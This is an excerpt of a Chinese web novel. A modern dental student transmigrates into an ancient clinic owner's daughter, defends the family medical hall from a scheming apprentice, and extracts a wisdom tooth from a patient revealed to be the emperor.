《医馆独女牙当家》
1. 穿越
“快来人!苏姑娘落水了!”一个妇人惊声喊着,扔下手中水桶,抄起竹竿冲到河边。
初夏的河水尚带凉意,一道纤瘦人影在水中挣扎浮沉,赶过来的村民们面色着急,不顾湍急水流,互相搭把手将人救起。
苏颜妍呛吐出一口水,只觉胸口闷痛,咳嗽两声,睁开眼睛。
周围一圈古装百姓,面露担忧,齐齐看她。
苏颜妍:什么神奇现场,她这是被哪个剧组群演救了?
她迅速回忆:放假回家路上遇见小孩失足落水,身为正气十足的五讲四美好青年,她毫不犹豫选择见义勇为。孩子救上岸了,她自己突然小腿抽筋,沉入水底…
她再次慢慢扫视四周人和景,陌生且古韵十足,心中浮起一个惊人的猜想:难道她穿越了?!
见她醒来不言不语,只怔怔看人,围在她身边的妇人们赶忙问她:“苏姑娘,可是有哪里难受?苏大夫只暂时没回来,说不定在哪里休整呢,你可别想不开。”
“是啊,你家里药馆还需要人哩,再着急也别把路走窄了。苏大夫仁义,咱们乡里乡亲哪个没受他的恩惠。这回春堂,大伙儿只认你们苏家人,苏姑娘你放心。”
“你爹那徒弟,可真不是好人。苏大夫只是失踪,他竟跳出来欺负你们孤女寡母,侵占财产,令人不齿。苏姑娘,你一出事,你娘也受不住,那白眼狼就得逞了。”
苏颜妍压下心中惊涛骇浪,听着四周你一言他一语,逐渐搞清楚状况。
这是一个叫景朝的地方,这具身体是东城中药馆“回春堂”苏大夫的独女。
苏大夫几日前出诊未归,音讯全无。他的徒弟白延琅不去找人,反倒是赶走寻人的街坊四邻,图谋起药馆来。
苏夫人连受打击,一病不起。苏姑娘不知是受了什么刺激,竟跑到城郊渃河投了水。
投水的是苏姑娘,被救起来的,就是换了个芯子的苏颜妍了。
苏颜妍:见义勇为还包托底服务的吗?她只是个口腔医学待毕业学生啊,处理家产这种事怎么不安排个法学专业的同学来啊!
谢过热心群众,苏颜妍被送回苏家。
回春堂南北四进,最北侧隔离出一进小院,苏家人就住在里面。
苏颜妍带着一身水汽进了宅院,苏夫人脸色苍白,消瘦病弱,一见她就落下泪来。
得嘞,失踪的爹,柔弱的妈,破碎的家庭落水的她。这场子她还真得使点力气才镇得住。
洗漱,换衣,热腾腾的姜茶倒在杯里,一口下肚,终于有了辛辣滚烫的真实感。
穿越她不怕,就当是出国留学,她独立自主能适应,在哪里都可以活的好好的。
乐观点想,她没毕业就有了家传事业,医馆不就是社区诊医院嘛,就业前景还是很棒的。
先搞搞调查,看看怎么稳妥继承药馆,别的不敢保证,口腔医学这块儿,她绝对有把握。优势在她,要有信心。
不过,困难也是摆在眼前的,她要想个法子保住医馆。
苏夫人却说道:“你父亲没有音讯,就这么活不见人死不见尸。报官也有三日,官爷都找不到人。我们两个女子,如何能撑的起门户,不如把医馆让给渡出去吧。”
苏颜妍叹气,细细给苏夫人解释:“医馆让出去,我们连安身立命的根本都没有。如您所说,我们两个女子,如何赚钱养活自己?是能种地还是能做工?不若保住医馆,还可以想法子雇佣人手,凭着父亲留下的人脉庇荫,尚可生活。”
苏夫人忧愁道:“你父亲在时,我们盼着你知书达理,女夫子教的是琴棋诗书。咱们不明白药理,就是雇了人,也经营不来。何况现在白延琅存心使坏,他学得你父亲八成的本事,收拢了不少人手。有他算计,医馆招不到人。”
“总要去试一试,不努力一把积累经验,平白放弃父亲的心血,我不甘心。”苏颜妍握住苏夫人的手问:“父亲只是失踪,我相信他总会回来的。母亲,我们一起守住医馆,好不好?”
苏夫人听到这里不住点头,擦干眼泪,反握住苏颜妍,道:“妍娘,你说得对。你爹最爱医馆,我们得守住他的心血。”
这就对了!苏颜妍暗自鼓劲,夫妻共同财产,哪有拱手让人的。今日让医馆,贪婪之辈不会满足,只会更加得寸进尺,直至将她们吞噬殆尽。
唯有争,才有路。
有路,才能活。
她只能争。
“妍娘一夕之间,长大了。”苏夫人柔柔注视着苏颜妍,欣慰又感伤。她一时想起丈夫在时女儿娇憨姿态,又看着现在突逢变故变得坚韧的模样,如同喝了一壶梅子酒,酸涩中带着回甘。
她起身,谨慎确认四下无人,从床柜暗格里取出一个多宝盒。
“我与你父亲,一生恩爱,只得你一个孩儿。这是我们置办的家产,连同医馆家宅的房契地契,现在都给你。妍娘,要小心白延琅,他十三岁就跟着你父亲学习,也是我看着长大的,伪装到现在,心机忍耐远胜常人。”
“我知道。”苏颜妍将契书一一收好,搀扶苏夫人回房歇息。
转瞬一日夜。
初夏清晨,风还带着凉意,徐徐吹过屋堂。
苏颜妍挽起长发,擦干脸上水渍,坐在铜镜前打量。光滑镜面映照一张秀美标致的芙蓉脸,明眸皓齿,楚楚动人。
放在哪里都是个美人——虽然是同样的脸,和她短发利落的打扮完全不是一个风格。
脚步声从远及近,轻轻重重传来一阵滴哩咣啷的碰撞音。
是张大娘家的小桃!苏夫人感谢乡亲们及时援手救她,安排她挨家上门送些果脯点心。小桃和她年岁相近,手脚麻利,苏颜妍正想找个人手协助调研,得来全不费工夫。
苏颜妍一下子就振奋精神,她想要的东西送来了。
“粗盐,竹筒,田七,无患子……没错,就是这些,小桃你做事真细致。”
小桃被夸,咧开嘴笑道:“苏姑娘都一样样列好名字,还画出图案,我挨个去找,又方便又清楚。还是苏姑娘聪明,又会写又会画,大伙儿都夸苏姑娘呢。”
那是,发明购物清单的人真是天才。苏颜妍核对无误在纸上打勾,开始分类放置这些材料。
“苏姑娘要这许多东西,是准备做什么?”小桃好奇问。
“做牙膏。”
“牙糕是什么?这么多青盐,会不会太咸了?”小桃皱眉。
苏颜妍被逗笑:“牙膏不是糕点,不用咽到肚里。咱们一起在村子调研,不是发现很多乡亲牙齿疏松嚼食无力吗?我调制的这种牙膏,日日使用,能固齿清洁。”
小桃瞪圆
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了眼:“给牙齿用的?”
“对,我们平日里很容易忽略牙齿,等它疼起来,那可就要命喽。牙齿好,吃东西也香,牙齿白,笑起来也美啊。”
“对对对!”小桃连连点头,眼睛亮亮,崇拜地看着苏颜妍。
苏姑娘真是太聪慧了!她长这么大,从来没想过要爱护牙齿。想想阿公阿婆牙齿酥软脱落,一点硬食都吃不得,她打了个哆嗦。
她一定要跟苏姑娘好好学,保护好自己的牙齿健康!
苏颜妍带着小桃,研磨青盐药粉,混合灌进竹筒。封泥灼烧,过滤碱水。等到最后把乌黑的古法牙膏封入罐中,两人都汗湿额发,累的不轻。
看着整整齐齐摆着的瓶瓶罐罐,苏颜妍开心又坚定。
她爱甜食,幼时有过一颗蛀牙,让小小的她吃过牙痛的苦。她立志成为优秀的牙医,帮助牙齿生病的人们,让他们拥有健康的牙齿。
一朝穿越,她也不会改变她的初心。她家的医馆,她一定会保住。
送走小桃,苏颜妍绕回医馆前门,仰头仔仔细细打量。
古朴的建筑静静矗立,砖石素净,带着医者宽仁气息,守护周边百姓。这就是她将要接手的大本营。
原本应该人来人往,现在却门窗紧闭。收徒不当,真是害人不浅。
苏颜妍珍惜抚摸古朴的门户,用备份钥匙打开门。苏父失踪,此处被匆匆关闭,无人打扫,只是几日,竟积了一层薄灰。
她打开门窗,找出工具,从药柜到桌台,挨个擦拭干净。
太阳已经高高挂起,街市上人声渐沸,如潮水般涌动着,起伏着。
苏颜妍正待关门回家,一群人面色不善,闯进医馆。
“苏姑娘,听说你想不开去投了河,怎么现在竟跑到回春堂,苏大夫不在,你开门谁来给人坐堂看诊。”
苏颜妍攥紧扫把,紧紧盯着他们。
为首的是一个清瘦男子,脸白,眉淡,脸上挂着笑,笑意又到不了眼睛。
在他右后侧,一个矮胖妇人恨恨地瞪她,刚才充满恶意的话正是出自她口。
其他人衣着打扮相似,应是哪家仆从们,将医馆门口团团围拢。
这动静,很快引起街坊四邻和周边百姓注意,有好事的人,凑在门外指指点点低声议论。
“这不是苏大夫的徒弟白延琅吗?怎么带着林家的人?”
“你还不知道?济世堂林家女看上白延琅了,俩人商议着要成亲呢。”
“欸欸,我记得林家女成过亲了——”
“小声些!前几年嫁了杏林馆的独子,去年人没了,连同杏林馆一起回归济世堂喽!”
“哎呀,这苏大夫失踪,不会是回春堂也被盯上了吧?”
“保不准,苏大夫家就一个独女,教的徒弟还是白眼狼,我看苏姑娘落水也有蹊跷…”
“这会儿带这许多外人欺凌人孤儿寡母,缺德呀…”
“济世堂后台硬,多少药材商供着,听说定价都是林家发话才行呢。本来低价平价还吃得起,定价一高,多少人家出的起钱,造孽啊。”
细碎声断断续续传进屋里,苏颜妍心下明了,这清瘦男就是那个阻止别人寻找苏父,一心谋夺药馆的白延琅。
“苏师妹,”白延琅拱手行礼,“别来无恙。”
2. 对赌
苏颜妍从穿越后就绷紧一根弦。
独女这个身份,放在法律齐全能保证人权的现代,尚且惹人垂涎。
在家从父、出嫁从夫、夫死从子的古代,失去父亲庇佑的医馆独女,犹如无主的猎物,抱金的婴孩。
这不,恶狼闻着味儿来了。
苏颜妍回敬白延琅:“托福,还不错。”
她十分佩服白延琅,明明做着坏事,却能神色自若,一点没被门外的议论影响到,这是个狠人。
怪不得能骗苏父苏母十多年,直到苏父失踪才露出真面目。
这演技生在新世纪能得影帝,屈才了。
“苏师妹人没事我就放心了,师父人不在,师母身体素来不好,师妹要是有个三长两短,可让师母怎么活。”
白延琅说着,垂下眼,不露眸中情绪。
“我自然会好好的,毕竟如你所说,我要照顾母亲,继续寻找父亲,回春堂是父亲的心血,我会帮父亲一直照看经营。”
没事少惦记她家的医馆!
“哈!你一姑娘家,学过望闻问切吗?医馆需要的是大夫,有真本事才能坐堂看诊,可不是任谁嘴一张就能经营好!”跟在白延琅身后的妇人抢白道。
苏颜妍冷眼看向尖酸开口的妇人,缓缓说道:“确实,我家的医馆,可不是任谁嘴一张就能夺走霸占的。”
“苏师妹,别任性。你或许对我有误会,我绝没有霸占医馆的心思。”
白延琅说:“回春堂是师父的心血,我跟随师父十多年,比师妹更懂他的心意。医者悬壶济世,医馆存在的意义就是治病救人。”
“师妹从小学的是琴棋书画,习的是厨艺女红,师父从不曾教你医术。我虽学艺不精,自忖也有师父八成火候。之前师父出诊,也是我守在回春堂,替乡亲父老看病。苏师妹还是不要固执,在家多陪师母,安心待嫁吧。”
白延琅此话一出,周边围观的众人也是哑然。
从道德上,白延琅趁人之危,趁火打劫,忘恩负义,不是好人。从实际上,他说的,也不算强词夺理。
城中医馆,必有拿手本事,才能立得住。医馆不是菜摊子,肉铺子,换个卖的人大伙儿能继续照顾生意。
病人去医馆,求的就是大夫医术高明,经验丰富,药到病除。
医馆换个新的郎中,大家都会心有疑虑,想找相熟的大夫,这是人之常情。
他们四邻百姓承苏大夫的仁心恩情,现在怜悯帮扶苏姑娘。
但苏姑娘不通医术,白延琅学医十年,真遇上有个头疼脑热,谁还真敢放弃白延琅去找苏姑娘这个外行人看病?
胖妇人眼见白延琅几句话说的众人沉默,很是沾沾自喜。
她轻蔑瞥着苏颜妍,说道:“苏姑娘,别不识好歹了。白哥念着你爹的恩情,现在还想养着你和你娘两个外人。没了他,这回春堂只能关门大吉,你和你娘,等着坐吃山空,搞不好连嫁妆都凑不出,那才丢人呢。”
听着这番胡言乱语,苏颜妍气得笑出声:“说来说去,你就是想赶走我,抢我们苏家的家产。真有心,何必紧咬着医馆归属谋算呢?我话撂在这,回春堂是我苏家的,有我苏家女在,断没有让给旁人的道理。”
“女儿哪能承家业?白哥是苏大夫的爱徒,如同他的亲儿子,医馆就该给白哥。”
“我爹姓苏,我也姓苏。这里不需要姓白的做主。”苏颜妍寸步不让。
胖妇人气了个仰倒,指着苏颜妍叫骂起来。
真好奇那么难听的浑话,她怎么说的出口。一般小娘子听了会哭出来吧?可惜她遇见的是见多识广的苏颜妍。
哼,想当年,她可是经历过无数游戏高端局,什么话没见识过。这点儿算什么毛毛雨,嘿tui!
白延琅挑起事端就隐身不语,放任各种指点议论,任凭胖妇人冲锋陷阵。
他看苏颜妍丝毫不受影响,上前拉住妇人,边摇头制止边说:“苏师妹勿怪,她也是有口无心。”
“白哥,我是心疼你,为你打抱不平!看看苏姑娘这做派,为了抢医馆,连连戳你心窝。你姓白是不忘本,苏大夫就你一个徒儿,回春堂就应该是你的。”
“这位大婶,我强调一遍,回春堂是我苏家的,绝不交给外姓人。”苏颜妍好声好气道。
白延琅面露不愉,他扯出一抹僵硬的笑,道:“这样吧,师妹如果坚持要医馆,自己当家,我们不妨约定一下。如果师妹有本事接诊医治患者,自然能证明你撑的起门户。如果师妹连一个患者都治不好,便由我来接手回春堂。”
“白延琅,你明知妍娘没学过诊疗,何必难为她!”
苏夫人听闻苏颜妍被白延琅围堵在回春堂,又惊又怕,挣扎赶到现场,就听到他故意为难的话,又气又急,身形一晃,险些晕倒。
苏颜妍连忙搀扶住苏夫人,柔声宽慰她:“母亲,别着急,我不怕。”
她将苏夫人扶坐在堂凳上,眼睛眨也不眨瞪着白延琅,说道:“一言为定,这医馆,我要定了。”
“师妹真是初生牛犊不怕虎。你想出诊,又有谁敢找你来治?医病不是儿戏,关乎的是性命。你这又是何苦。”
“是啊,苏姑娘,不然就让白郎中坐诊吧。我们街坊四邻帮你盯着他,按时给你们银钱花用。”围观的热心人忍不住开口劝道。
白延琅打蛇随棍,立刻承诺:“师妹若肯,我保证除却个人嚼用,其余银钱分文不取,全部给师母。”
“妍娘…”苏夫人握着苏颜妍的手,眼中泛起泪光,她一时想着女儿力争医馆的决心,一时又想着丈夫对女儿的娇宠,心乱如麻。
苏颜妍才不吃他这一套!现在说的好听,话里藏着好几个坑。
她与苏夫人在医馆并无人手,医馆收入多少,全凭白延琅一张嘴。更别说还要扣除吃穿花用,剩下多少又有谁能监管?
话说的好听,人如此狡猾,白延琅这渣男真是难缠。
苏颜妍更加坚定心意,绝不能将医馆拱手相让。今日让出一分,来日要让一寸。这人喂不饱的。
她轻拍安慰苏夫人,任凭众人劝说,就是不点头松口。
白延琅对身旁随从使了个眼色,眸中冷光一闪而过:“苏师妹固执,那便依她。咱们便以三日为期,看看师妹的本事吧。”
“倘若三日内,师妹一人也没能救治,这回春堂,我白延琅为了师承,也必要来争一争了。”
白延琅放话,苏颜妍应战,这约定算是成了。
围观的人散开时,个个摇头叹息,猜测苏姑娘怕是要竹篮打水一场空。
白延琅背后还有济世堂,林家势大,背地里下个绊子,苏姑娘一个女子,如何应付得了。
事情发展也确实如大家猜测的那样,白
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延琅背地里安排人手,暗中把所有想去回春堂找苏大夫看病的人拦下了。
拦下患者直接解释:回春堂苏大夫失踪,他唯一的徒弟白郎中人在济世堂。
说的都是实话,被拦下的人衡量一番,全去了别的医馆。
苏颜妍呆在回春堂,无人可医。
转眼三天,苏夫人日夜忧思,时时垂泪。苏颜妍哄着她服下安神药,让她在家休息。
“妍娘,今天没有人来看诊,药馆就给他们吧,别和他们争了。”
“娘只想要你好好的。”
一片慈母心肠。
苏颜妍想到这,沉沉叹口气。只怕树欲静而风不止。
她照常来到回春堂,通风换气,打水擦拭,把诊室打扫的干净整洁。
她清洁完地面,思忖着:山不来就我,那就去就山。今日主动出去找找,或许能找到愿意让来回春堂的病人呢。
她刚准备离开,一个身着黑衣,满身戾气的男子如携风雷,疾步走进医馆内。
“此处的大夫呢?让他出来!”
苏颜妍挑眉,这声音一听就是位不好惹的主儿。难道是看她每天开门不准备放弃,那位恶徒白延琅指派人手打上门来?
青天白日,这么嚣张吗?
“我就是,这位公子找我?”苏颜妍手中握紧扫把,做好了随时挥打的准备。
“你?”语气透着压抑过的怒意。
男子眉目锐利,眯眼盯着苏颜妍,让她联想到森林里尾随猎物不放的狼。
随时能觑住机会咬向猎物的喉咙,一击致命。
危险!
她的第六感在发出尖叫,但苏颜妍并没有躲开。
她不能躲,想要守住医馆,别说一个上门的男人,哪怕他是敌人指派,带着满肚子恶意来闹事的,她也不能躲。
面对困难,不能怕,气势不能输,等和麻烦斗个几回合,没有破不开的局。
让她看看,他们出得是哪一招!
苏颜妍屏息憋气,严阵以待,脑子里都是现代医闹的各种奇葩新闻。
来吧!出招吧!她可是见识过千百种无理取闹、故意制造事端、登月碰瓷、舆论炒作的网络冲浪一级选手!
让她看看古代人的手段!
然后,苏颜妍就看着这个英俊男子气息一滞,泄气皮球般瘪了下来。
一级戒备,难不成准备碰瓷了?
请开始你的表演!苏颜妍虎视眈眈,瞪大了眼睛。
黑衣男子脸上闪过一丝不悦,坐到诊台前,把多余的案凳踹到一边。
他闷闷挤出话来:“我牙疼。”
苏颜妍呆呆重复:“牙疼…”
不是来找茬的吗?
居然是野生患者吗?
还是牙疼耶!
专业对口了家人们!
感谢大自然的馈赠!
她的强来了!
她控制不住自己的嘴角,脸上甜美的笑能撑死八百只蜜蜂。
她声音柔软八度,热情饱满仁爱世人:
“尊敬的患者,请不要担心。本人专业口腔医学生,将竭力虔心,为您的牙齿保驾护航。”
早起的鸟儿有虫吃,得来全不费工夫。
提前准备好随身携带的口罩手套医生装有用啦。
治好这位患者,医馆归她,谁也别想抢走啦。
3. 患者
“来,这位患者,现在我需要帮你检查牙齿。请张大嘴巴,啊——”
苏颜妍将男子带到窗边榻上,阳光融融,光线大好。
本来需要专业的口腔灯,但古代嘛,哪有那玩意儿,幸好亘古不变的太阳伯伯发光发热。她调整位置,凑近观察。
牙齿齐整,没有黑点,秒杀同时代百分之九十九的人。苏颜妍心里暗暗评点,真是一口好牙。
疼痛的主要原因,是右侧最里面有了倾斜冒尖的智齿。
目测这颗智齿已经开始侵蚀邻牙,软组织龈瓣红肿发炎,疼痛可能会扩散到耳朵下巴和喉咙。
苏颜妍检查完毕,暗暗心道:哦,可怜的患者,需要苏医生~也就是我~的热心帮助。
“是智齿,我先给你开点消炎药,需要等疼痛不明显后来找我拔掉哦。”她放开患者的头,起身去找消炎止痛的药粉。
“拔牙?”男子在榻上坐直身体,由于背着光坐,面上表情不太清楚,只鬓发边露着两只的耳朵,在阳光下透着绯红的光。
“你别担心,拔牙通常是有一些危险。但我观察过,你的这颗智齿已经浮长在浅层牙床上,拔除会有一些疼痛,不会出事。”
苏颜妍将药粉填塞进一个袖珍麻布口袋,用药纸仔细包起,放在手边。
她摘下手套,白皙纤长的手指捻起碳条,在纸上三两下划出几条线框。
“你叫什么?”她问道。
黑衣男子深深看了她一眼,回答:“仲景。”
苏颜妍脱口而出:“不会姓张吧?”
张仲景?吓死个人。她记得这不是唐朝啊。
“……”男子无语看着她起身靠近,黑漆漆的眼直直盯着她看,莫名让人毛毛的,周身仿佛泛着杀气。
苏颜妍讪讪笑道:“哈哈哈开个玩笑,这个名字不错。这是消炎药,饭后漱口洁齿,敷在患处。”
古代患者也太严肃了,名字是什么神圣不可侵犯的禁忌吗?
“你一向都这样给人看诊?”仲景问。
苏颜妍莫名其妙看他一眼,牙医看诊自然这样,很稀奇么?这会儿她还没全套装备上阵哩,等看到拔牙钳再害怕也来得及。
不过患者有心理负担,医生是需要理解的嘛。
苏颜妍安慰他道:“你别怕,等我准备好专门的器材,才会动手拔牙。那些都是特殊工具,看着样子奇怪点,你要有思想准备哦。”
仲景看她满眼清澈,显然完全没理解他的意思,不由一哂。
“你之前也在这医馆给旁人诊治过?”
那样贴近外人,近到能嗅闻到她身上混合药香的馨香气息。抱住别人的头,让人一眼能看到嫩白的脖颈和娇美的脸。
想到这些,莫名升起阵阵怒意。仲景青筋暴起,拳头握紧桌角,发出咔咔碎裂音。
苏颜妍全然不知,低头琢磨去哪打造一套趁手的工具。她边在纸上写写画画,边回答道:“你是第一个。”
她上任三天,他是第一个突破白延琅防线进入医馆的牛人。
她想了想,又补充道:“我看牙的本事绝对不输给任何一个大夫,这点请相信我。”
仲景没再出声,只收敛气势静静看她涂写,待她停笔,才问道:“这就是你要准备的特殊工具?”
苏颜妍点头,和他分享。“第一个”总是特殊的,患者也是这样。
“…其实消毒最好还是要烈酒,市面上的酒多是水酒,如果有器材提纯那才好用呢。”
苏颜妍话匣子打开,不知不觉说了许多。她觉得仲景真是个特别适合倾听的对象,安静沉默,一点也不见初见时的嚣张。
想来牙疼确实让人受不住,压不住火气。
仲景听她说完,拿起她画的草图,看过后三两下折起,放入怀中,对苏颜妍说道:“这些器具我来准备,我下次来时一并捎带来。”
欸?这会儿又有些霸道了,她还有问题想问问呢。
苏颜妍伸出尔康手,扯住仲景衣袖,道:“等下!你来时有没有人拦着你,说回春堂没大夫,让你别过来?”
仲景想了想,点头:“确实有人,拦下我说,让我去济世堂。”
“那你怎么没去?”苏颜妍好奇。
仲景冷笑一声:“我想去哪里,用得着他安排?他还没那个脸。”
事实上,那伙儿拦人的,还挡在他前面恐吓阻止他进来,被他当场一脚踹飞。
能阻拦他的,除了上天的,入地的,这人间横竖不存在。
本来没在意,听苏颜妍一问,仲景瞬间反应过来:“有人找你麻烦?”
苏颜妍满不在乎:“都是小问题,没影响你就好。”
她的患者已经出现,等她治好他,白延琅也没有借口再来染指她家的医馆。
喜大普奔!
仲景目光沉沉,后牙隐隐生出痛,又似乎多了痒,他捏紧药包,转身离开。
野生患者好归好,就是有点嚣张。也不知道他家境如何,是不是本地人,能不能抗住白延琅搭上的济世堂。
别被他们联手欺负了。
苏颜妍忧心忡忡地想。
她的野生患者踏出回春堂,就有马车停伫等待。车夫见他出来,立刻上前去迎。
仲景挥手制止,自己一甩衣摆,抬腿踩上车辕。
上了车后,仲景摸出怀中图纸,同药包放在一处,吩咐道:“去查。”
暗处闪过人影,躬身行礼后,沉默退去,幽灵般悄无声息。
马车出发,很快到了城中一处低调的宅院。
这幢宅院从外面看很普通,宅内却精致奢华。见仲景进门,宅内侍者纷纷下跪行礼,口称“陛下”。
这位野生患者仲景,正是景朝皇帝萧景琮。
他微服出宫,行至东城,突发牙疾。
这位陛下原是先皇次子,有优秀的太子兄长光芒万丈,鲜少有人注意到他。年少时暴戾恣睢,心狠手辣,待太子病逝,踏着尸山血海登基称帝,更是无人敢招惹。
俗话说牙疼不是病,疼起来真要命,皇帝也逃不了。皇帝想决定就近找大夫,没人敢提议回宫召太医。
回春堂就这么出现在皇帝陛下眼里。
苏颜妍精通治疗牙疾,正好缺患者;
萧景琮牙疼难忍,正好需要牙科医生。
可见冥冥之中,自有天意。
回春堂中,苏颜妍请来小桃一起规整医馆布局。
“苏姑娘,诊台改到窗边会不会太嘈杂?”
“苏姑娘,医馆很少让病人睡床榻,这个榻怎么还一头高一头低?”
“苏姑娘,我娘说,你和姓白的定了三日之约,医馆会被抢走吗?”
小桃手脚麻利,嘴巴一刻也不停。丝毫没察觉她口中的苏姑娘,连句话都插不进去。
苏颜妍一手一个藤箱,脚下用力,将案桌抵靠在墙角,顺势将收拢的工具摆好。
小块纱布在沸水中烧煮消杀过,密封瓶子平平无奇,里面却装有提纯过的烈酒。苏颜妍绞尽脑汁,把现代优秀的医疗用品复刻替换。
仲景离开医馆后,白延琅可
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能收到了通风报信,没再露过面。
有热心的群众悄悄告诉苏颜妍,白延琅在济世堂可是生了很大气,摔碎很多瓶瓶罐罐呢。
果然人民群众古往今来都是优秀的情报科高手,苏颜妍才不在乎白延琅,她与对方立场不同,注定不能共存。
她现在虽说接管了医馆,暂时逼退了白延琅,但她有预感,后面白延琅一定会再来的。
她不通中医的望闻问切,一时半会也学不了。她可以革新医馆,专精牙科,这是她的专业领域,也是她不变的理想生活。
医馆现在她当家,想法一定,说改就改。
苏颜妍带着小桃,移桌换柜,将回春堂规整的焕然一新。
一进门,桌柜后的药柜改成了药架,整齐摆放着瓶瓶罐罐,正是研制成功的古法牙膏。右手边屏风隔断,靠窗设榻,墙角桌上就是工具箱。药房挪到了最里间,挪动药柜真是个大工程。
“变化不小,这改动倒是新奇。”前来复诊的患者仲景,旁若无人在医馆里转了个遍,自由的像是在自己家一样。
苏颜妍对第一个患者滤镜开得无限大,并没有觉得被冒犯,很是开心地和他分享自己的设计理念。
当她的患者朋友拿出与她图纸上画的相似度99%的工具时,苏颜妍几乎要惊喜地跳起来。
“天呐仲景!你真的找人做出来了!”苏颜妍眼睛亮亮,看着铮亮的器械移不开眼。
天呀,她的挖勺窄刀,她的直挺牙钳!这是什么神奇宝贝哆啦A梦,让她能重新见到熟悉的工具。
萧景琮见她高兴,薄唇抿起,嘴角微勾。等待几息见她还是沉迷研究那些东西,他笑容消失,眉峰聚拢,伸手捉过她,不咸不淡道:“这点东西算什么,易如反掌。”
苏颜妍一下子被戳中笑点,哈哈笑弯腰:“易如反掌,遥遥领先…”
萧景琮看她笑得脸颊绯红,眼角沁泪,不由伸手揪捏住她鼓起的脸颊,道:“你是不是在嘲笑我?”
苏颜妍连连讨饶:“没有没有!我就是想起来好笑的事情。大王饶命啊——”
萧景琮眸色渐深,松手放开她时,又敲了她头一下,不轻不重,道:“胡言乱语。”
他后退一步,手藏在袖中,悄悄蜷握摩挲,似乎那种绵软温润的触感印在了手心上。
真奇怪,他不厌恶碰触她,还有点贪恋她的温暖气息。只是一个医女而已,为什么会这么吸引他呢?
苏颜妍揉揉有些酸的腮,想到待会儿要拔他的牙,嘿嘿一笑。
别看有的人现在嚣张的紧,过一会儿搞不好会吓哭哦。
她要狠狠嘲笑他,报复他揪脸之仇。
穿好工作服,给器材一一消毒,苏颜妍招呼萧景琮躺好:“木榻不方便调整,你靠在斜撑上,咱们尝试一下姿势是否合适。”
斜撑是三角形,安放在榻上,人躺在斜边,正好撑起上半身,头部空悬。她凑近他,双手抱住他的脑袋,尝试调整方便施力的角度。
萧景琮肌肉紧绷,僵硬着脖颈,避无可避,贴上柔软的胸口。
“砰砰、砰砰…”心跳声在耳边,如同一匹小马驹,在欢快奔跑跳动。
白色袍服是棉麻制成,和他日常接触的绫罗绸缎完全不是一种感觉。
衣袍与头发摩擦,若有若无的呼吸声……是烈酒的缘故吧,不然为何他如此头晕目眩、如坠梦中?
金属与瓶罐碰撞声响起,脸颊被戴着白布套的手指引导性地轻捏,苏颜妍隔着口罩略带失真的声音响起:
“张口。”
4. 拔牙
拔除一颗智齿,牙医会怎么做呢?
一颗歪歪斜斜的小东西,埋伏在口腔深处的牙床里。温软的唇舌掩护着它,如同溺爱孩子的母亲,哪怕它持续不断带来苦痛。
当然萧景琮不想溺爱这颗逆子牙齿,可智齿不管他是不是权柄倾天的皇帝,它要闹脾气,天王老子也束手无策。
现在他就束手无策。
他直直僵在榻上,如同生了锈的机器,迟缓且僵硬。
苏颜妍没有绑住他手脚,更没有限制他的身体动作。但他就是变成了听了命令才会动弹的木偶,有无形的线捆住了他的手脚肌肉。
或许暗卫出了差错,没有查探出这个医女真正的身份,她似乎是个巫女,不然她的言语怎么充满让他无法反抗的法力?
她说张口,他就只能张口。
脆弱的脖颈头脑多么重要,弱点交付他人之手,立于危墙的战栗杀机刺激他的神经。
可她的手那么纤细,那么温暖坚定。他被温柔水雾弥漫包裹,沉醉在另一人鲜活的心跳声中。
苏颜妍全神贯注盯着那颗智齿boss。这里是古代,失去精密科技辅助,一颗浅浮出牙龈表面、放在现代十分钟解决的小case,她需要倾注更多的心血与耐心。
麻沸散是她在苏父书房摸黑翻查医典,结合现代医药配比,出的速效改良版。
优点是副作用少,降低了不良反应。
缺点也很明显:苦!
她的患者显然受不得苦,一张俊脸皱成了痛苦面具。
“你是不是故意在整我?”僵硬先生成了不满意先生,对无辜的医生发起了抗议。
他看不到医生隐藏在口罩下上扬的嘴角,却能清晰的看到,她唯一露出的部分,眉眼弯弯,纯粹鲜活的笑意无声无息流淌。口中苦涩不再是苦,笑把它酿成蜜,麻木且甜。
苏颜妍凑近观察她的患者,见他不再叫苦,面上表情木木的,忖度着药效,在心里舒了口气。
麻醉是有效的。第一流程完美!
她捏捏他的脸颊,示意张开嘴巴,再次确认智齿情况。
她的患者很幸运,前倾位高位的智齿,不需要划开牙龈,削碎颚骨,分割智齿再一点点取出。毕竟古代这种环境,没有钻磨切削的牙科手机。
不过没关系,对付眼前这颗小东西,她用牙挺和牙钳就行了。
牙齿周围有牙周膜和牙周韧带,苏颜妍稳住手臂,屏住呼吸,开始分离牙龈。分离器沿着牙冠逡巡一圈,谨慎小心地离开。
她有时候觉得,牙医有点像考古。保护性的挖掘,小心翼翼的照顾,生怕损坏珍贵的宝物,一点一点,除去灰尘泥土。
一如她现在,微创挺锲进牙槽窝,蚂蚁挖穴般,松动歪掉的融合根。她想起曾经看过的电影,就像椪糖游戏——要用些力道撬挖,又不能太用力——会碎掉。
她的患者比她更紧张,蒸腾的热汗涔涔滑落,洇湿鬓发。
是风雨摧残过的花,凌乱不堪又倔强的美。她想。
牙挺不住摇动,终于把这颗顽固的根从血肉土中松动。牙钳上场,缓慢且坚定,钳拉出沾着红痕的白。
叮当一声,白玉落盘中。
苏颜妍松了口气,总算是成功了。
她用镊子夹起消毒过的棉团,沾上药粉开始止血收尾。
放松紧绷的神经,才后知后觉发现,她出了一身汗。
像跑了一场马拉松,后背发凉,腰腿发酸,手臂发软。
身体很累,成就感充盈支撑着身体,她自穿越就一直不忿泵动的心弦,终于舒缓地松弛。
“患者先生,曾经带给你伤痛的牙齿,已经成功拔除。放松身体,止血后放你下来。你真勇敢,是我见过最棒的男子汉!”苏颜妍翘起拇指,俏皮地夸。
凭借自己的本事,打赢了一场硬仗。苏颜妍不吝啬赞美配合的战友,她为他喝彩。
“这是硝冰镇过的冷水,软巾浸一下敷在脸上,你先休息,最近两天留在医馆,我随时帮你查看。放心,不多收你小钱钱。”苏颜妍顺手帮他擦了擦额头上的汗,起身收拾现场。
她哼着欢快的旋律,蜜蜂一样忙忙碌碌,没发现萧景琮幽深的目光,正眨也不眨粘在她身上。
萧景琮很难描述出自己的心情。明明是拔掉一颗没用且有害的牙齿,却好像多了什么哽住了他的喉咙。
他生在帝王家,强势霸道与控制欲如同血液,流淌在身体的每一寸。
他知道蛰伏,尝过敛尽锋芒随波逐流的滋味。那时他是隐于暗处伺机而动的狩猎者,忍耐的背后是渴求胜利与主动。
这些和拔牙毫不相干。
